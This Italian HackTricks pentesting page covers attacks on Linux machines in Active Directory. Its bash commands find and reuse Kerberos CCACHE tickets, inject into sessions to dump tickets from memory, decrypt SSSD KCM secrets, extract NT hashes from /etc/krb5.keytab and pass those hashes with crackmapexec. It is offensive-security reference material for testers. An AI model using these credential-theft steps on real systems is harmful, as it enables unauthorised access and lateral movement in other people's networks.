# Active Directory Linux
Impara l'hacking di AWS da zero a esperto con htARTE (HackTricks AWS Red Team Expert)! * Lavori in una **azienda di sicurezza informatica**? Vuoi vedere la tua **azienda pubblicizzata su HackTricks**? O vuoi avere accesso all'**ultima versione di PEASS o scaricare HackTricks in PDF**? Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! * Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family) * Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com) * **Unisciti al** [**💬**](https://emojipedia.org/speech-balloon/) [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguimi** su **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Condividi i tuoi trucchi di hacking inviando PR al [repo hacktricks](https://github.com/carlospolop/hacktricks) e al [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
Una macchina Linux può essere presente anche all'interno di un ambiente Active Directory. Una macchina Linux in un AD potrebbe **memorizzare diversi ticket CCACHE all'interno di file. Questi ticket possono essere utilizzati e abusati come qualsiasi altro ticket Kerberos**. Per leggere questi ticket è necessario essere il proprietario dell'utente del ticket o **root** all'interno della macchina. ## Enumerazione ### Enumerazione AD da Linux Se hai accesso a un AD in Linux (o bash in Windows) puoi provare [https://github.com/lefayjey/linWinPwn](https://github.com/lefayjey/linWinPwn) per enumerare l'AD. Puoi anche controllare la seguente pagina per imparare **altre modalità per enumerare l'AD da Linux**: {% content-ref url="../../network-services-pentesting/pentesting-ldap.md" %} [pentesting-ldap.md](../../network-services-pentesting/pentesting-ldap.md) {% endcontent-ref %} ### FreeIPA FreeIPA è un'**alternativa** open-source a Microsoft Windows **Active Directory**, principalmente per ambienti **Unix**. Combina un **directory LDAP completa** con un centro di distribuzione delle chiavi MIT **Kerberos** per la gestione simile ad Active Directory. Utilizzando il sistema di certificati Dogtag **Certificate System** per la gestione dei certificati CA & RA, supporta l'autenticazione **multifattore**, inclusi i smart card. SSSD è integrato per i processi di autenticazione Unix. Scopri di più al riguardo in: {% content-ref url="../freeipa-pentesting.md" %} [freeipa-pentesting.md](../freeipa-pentesting.md) {% endcontent-ref %} ## Giocare con i ticket ### Pass The Ticket In questa pagina troverai diversi luoghi in cui potresti **trovare ticket Kerberos all'interno di un host Linux**, nella pagina seguente puoi imparare come trasformare questi formati di ticket CCache in Kirbi (il formato necessario per l'uso in Windows) e anche come eseguire un attacco PTT: {% content-ref url="../../windows-hardening/active-directory-methodology/pass-the-ticket.md" %} [pass-the-ticket.md](../../windows-hardening/active-directory-methodology/pass-the-ticket.md) {% endcontent-ref %} ### Riutilizzo del ticket CCACHE da /tmp I file CCACHE sono formati binari per **memorizzare le credenziali Kerberos** che vengono tipicamente archiviati con autorizzazioni 600 in `/tmp`. Questi file possono essere identificati dal loro **formato di nome, `krb5cc_%{uid}`,** che corrisponde all'UID dell'utente. Per la verifica del ticket di autenticazione, la **variabile d'ambiente `KRB5CCNAME`** dovrebbe essere impostata sul percorso del file di ticket desiderato, consentendone il riutilizzo. Elencare il ticket corrente utilizzato per l'autenticazione con `env | grep KRB5CCNAME`. Il formato è portatile e il ticket può essere **riutilizzato impostando la variabile d'ambiente** con `export KRB5CCNAME=/tmp/ticket.ccache`. Il formato del nome del ticket Kerberos è `krb5cc_%{uid}`, dove uid è l'UID dell'utente. ```bash # Find tickets ls /tmp/ | grep krb5cc krb5cc_1000 # Prepare to use it export KRB5CCNAME=/tmp/krb5cc_1000 ``` ### Riutilizzo del ticket CCACHE dalla keyring **I ticket Kerberos memorizzati nella memoria di un processo possono essere estratti**, specialmente quando la protezione ptrace della macchina è disabilitata (`/proc/sys/kernel/yama/ptrace_scope`). Uno strumento utile a questo scopo si trova su [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey), che facilita l'estrazione iniettando nelle sessioni e scaricando i ticket in `/tmp`. Per configurare e utilizzare questo strumento, seguire i passaggi di seguito: ```bash git clone https://github.com/TarlogicSecurity/tickey cd tickey/tickey make CONF=Release /tmp/tickey -i ``` Questa procedura cercherà di iniettarsi in varie sessioni, indicando il successo memorizzando i ticket estratti in `/tmp` con una convenzione di denominazione `__krb_UID.ccache`. ### Riutilizzo del ticket CCACHE da SSSD KCM SSSD mantiene una copia del database nel percorso `/var/lib/sss/secrets/secrets.ldb`. La corrispondente chiave viene memorizzata come file nascosto nel percorso `/var/lib/sss/secrets/.secrets.mkey`. Di default, la chiave è leggibile solo se si hanno i permessi di **root**. Invocando \*\*`SSSDKCMExtractor` \*\* con i parametri --database e --key, verrà analizzato il database e **decifrati i segreti**. ```bash git clone https://github.com/fireeye/SSSDKCMExtractor python3 SSSDKCMExtractor.py --database secrets.ldb --key secrets.mkey ``` Il **blob Kerberos della cache delle credenziali può essere convertito in un file CCache Kerberos utilizzabile** che può essere passato a Mimikatz/Rubeus. ### Riutilizzo del ticket CCACHE da keytab ```bash git clone https://github.com/its-a-feature/KeytabParser python KeytabParser.py /etc/krb5.keytab klist -k /etc/krb5.keytab ``` ### Estrarre gli account da /etc/krb5.keytab Le chiavi degli account di servizio, essenziali per i servizi che operano con privilegi di root, vengono conservate in modo sicuro nei file **`/etc/krb5.keytab`**. Queste chiavi, simili a password per i servizi, richiedono una rigorosa riservatezza. Per ispezionare il contenuto del file keytab, è possibile utilizzare il comando **`klist`**. Lo strumento è progettato per visualizzare i dettagli delle chiavi, inclusa l'**NT Hash** per l'autenticazione dell'utente, in particolare quando il tipo di chiave viene identificato come 23. ```bash klist.exe -t -K -e -k FILE:C:/Path/to/your/krb5.keytab # Output includes service principal details and the NT Hash ``` Per gli utenti Linux, **`KeyTabExtract`** offre la funzionalità di estrarre l'hash RC4 HMAC, che può essere sfruttato per il riutilizzo dell'hash NTLM. ```bash python3 keytabextract.py krb5.keytab # Expected output varies based on hash availability ``` Su macOS, **`bifrost`** funge da strumento per l'analisi dei file keytab. ```bash ./bifrost -action dump -source keytab -path /path/to/your/file ``` Utilizzando le informazioni sull'account e l'hash estratti, è possibile stabilire connessioni ai server utilizzando strumenti come **`crackmapexec`**. ```bash crackmapexec 10.XXX.XXX.XXX -u 'ServiceAccount$' -H "HashPlaceholder" -d "YourDOMAIN" ``` ## Riferimenti * [https://www.tarlogic.com/blog/how-to-attack-kerberos/](https://www.tarlogic.com/blog/how-to-attack-kerberos/) * [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey) * [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#linux-active-directory](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#linux-active-directory)
Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)! * Lavori in una **azienda di sicurezza informatica**? Vuoi vedere la tua **azienda pubblicizzata su HackTricks**? O vuoi avere accesso all'**ultima versione di PEASS o scaricare HackTricks in PDF**? Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! * Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family) * Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com) * **Unisciti al** [**💬**](https://emojipedia.org/speech-balloon/) [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguimi** su **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Condividi i tuoi trucchi di hacking inviando PR al [repo hacktricks](https://github.com/carlospolop/hacktricks) e al [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.